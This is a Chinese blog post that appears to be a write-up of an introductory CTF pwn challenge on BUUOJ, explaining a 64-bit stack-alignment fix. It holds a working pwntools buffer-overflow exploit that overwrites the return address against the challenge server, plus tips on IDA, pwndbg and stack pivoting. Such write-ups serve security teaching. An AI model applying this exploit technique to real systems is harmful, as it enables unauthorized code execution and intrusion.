首页 > 其他分享 >栈堆平衡

栈堆平衡

时间:2024-07-07 12:10:22浏览次数:7  
标签:15 我们 地址 平衡 栈堆 payload 调试 ida

作为最简单的pwn题,当然是最简单的exp,只要知道原理几行代码就可以搞定,我们发送了15个A用来填充s,再发送8个字节用来填充b,将地址打包位p64位的数据一起发送,就可以完成栈溢出,至于最后为什么要+1,我们可以发现,不加一我们在本地可以打通,但是却打不通远程,这也是我开头说的,和以前payload不一样的地方,原理我们是没有错的,这里+1是为了堆栈平衡,详细可以看大佬的博客在一些64位的glibc的payload调用system函数失败问题 - Ex's blog (eonew.cn)

from pwn import *

p = remote("node4.buuoj.cn",27296)

payload=b'A'15+b'B'8+p64(0x401186+1)

p.sendline(payload)

p.interactive()

注意:

1.我们打开ida pro ,作为最简单的栈题,我们在ida pro中的main函数在创建空间s时已经清晰的告诉了我们距离rbp的距离是Fh,这是16进制也就是15个字节,当然,这只是理想的情况,在复杂一些的情况中,开辟的内存地址显然不会像这题一样紧挨着上一个rbp,甚至有时出题人会故意在ida的静态调试中告诉你错误的地址,这个时候你需要用pwndbg进行动态调试,这题通过动态调试也可以发现,二者的地址是一样的

2.当payload有长度限制的时候,我们可以尝试进行栈转移来进行栈地址的改变,如果遇到了没有对齐的情况就继续将栈地址+1,直到遇到栈对齐的情况。

标签:15,我们,地址,平衡,栈堆,payload,调试,ida
From: https://www.cnblogs.com/betty-123/p/18288324

相关文章

  • 代码随想录day15 平衡二叉树 | 二叉树的所有路径 | 左叶子之和 | 完全二叉树的节点个
    平衡二叉树平衡二叉树解题思路二叉树节点的深度:指从根节点到该节点的最长简单路径边的条数。二叉树节点的高度:指从该节点到叶子节点的最长简单路径边的条数。这道题由于需要求节点的高度差来进行判断,因此我们需要用后序遍历,先左右,后中间。推荐使用递归把每个节点的高度算出来......
  • 关于平衡树(施工中)
    $\LARGE{一些无聊的定义}$二叉搜索树(BST树)定义二叉搜索树是一种二叉树的树形数据结构,其定义如下:空树是二叉搜索树。若二叉搜索树的左子树不为空,则其左子树上所有点的附加权值均小于其根节点的值。若二叉搜索树的右子树不为空,则其右子树上所有点的附加权值均大于其......
  • 代码随想录算法训练营第十五天|110.平衡二叉树、257.二叉树的所有路径、404.左叶子之
    110平衡二叉树1classSolution{2public:3intGetHeight(TreeNode*root){4if(!root){5return0;6}7intleftHeight=GetHeight(root->left);8if(leftHeight==-1)ret......
  • RouteLLM:高效LLM路由框架,可以动态选择优化成本与响应质量的平衡
    该论文提出了一个新的框架,用于在强模型和弱模型之间进行查询路由选择。通过学习用户偏好数据,预测强模型获胜的概率,并根据成本阈值来决定使用哪种模型处理查询。该研究主要应用于大规模语言模型(LLMs)的实际部署中,通过智能路由在保证响应质量的前提下显著降低成本。通过创新的路由......
  • 平衡树专题Splay
    写在前面:部分来自孙宝(@Steven24)的博客,表示感谢。认识什么是Splay就是BST的一种,整体效率是很高的,均摊的次数是O(logn)级别的。基本操作就是把节点旋转到BST的root,从而改善BST的平衡性,但是很多人会在旋转中转晕建议找个动图看看,或是上B站找个几分钟的视频看看就理解了。烧烤......
  • 平衡樹專題Treap
    前言:题单在此:HL平衡树0701-题单-洛谷|计算机科学教育新生态(luogu.com.cn)平衡树什么是平衡树?首先我们需要知道二叉查找树的内容。二叉查找树(BST:BinarySearchTree)首先,他是一棵二叉树其次,他的左子树的权值<根节点的权值<右子树的权值最后,也是最重要的,他的中序遍历......
  • 测试开发比,能代表质效平衡吗?
    看到一个很有意思的话题:测试团队需要保障质量,同时也要考虑测试效率,质量和效率之间的平衡,其实很大程度上取决于测试和开发的人数占比。只有先保证资源上的平衡,才能在保障质量的同时保证一定的测试效率。这个话题背后的逻辑成立吗?我仔细思考了这个问题,表面看似合乎逻辑,但经不起分......
  • 47、基于连续Hopfield神经网络的不稳定平衡
    1、连续Hopfield神经网络的不稳定平衡原理及流程连续Hopfield神经网络是一种用于模式识别和记忆的神经网络模型,其基本原理是通过权重矩阵来存储并检索各种模式。不稳定平衡指的是在Hopfield网络中,输入的模式通过网络的动态演化最终会达到一个平衡状态,该状态可能是存储的模式之......
  • 智能优化算法应用:基于平衡优化器算法PID参数优化 - 附代码
    智能优化算法应用:基于平衡优化器算法PID参数优化-附代码文章目录智能优化算法应用:基于平衡优化器算法PID参数优化-附代码1.PID简介2.平衡优化器算法简介3.适应度函数设计4.算法实验与结果5.参考文献:6.Matlab代码摘要:本文主要介绍如何用平衡优化器算法进行PID参......
  • B树的阶数:平衡与效率的关键
    在计算机科学中,B树是一种专为系统I/O操作优化的多路搜索树。它通过其独特的结构和性质,确保了数据的快速存取和高效的空间利用率。B树的阶数是定义B树结构和行为的一个基本参数,对于理解B树的工作原理至关重要。B树的定义与特性B树是一种n阶树,其中每个节点可以拥有的最大子......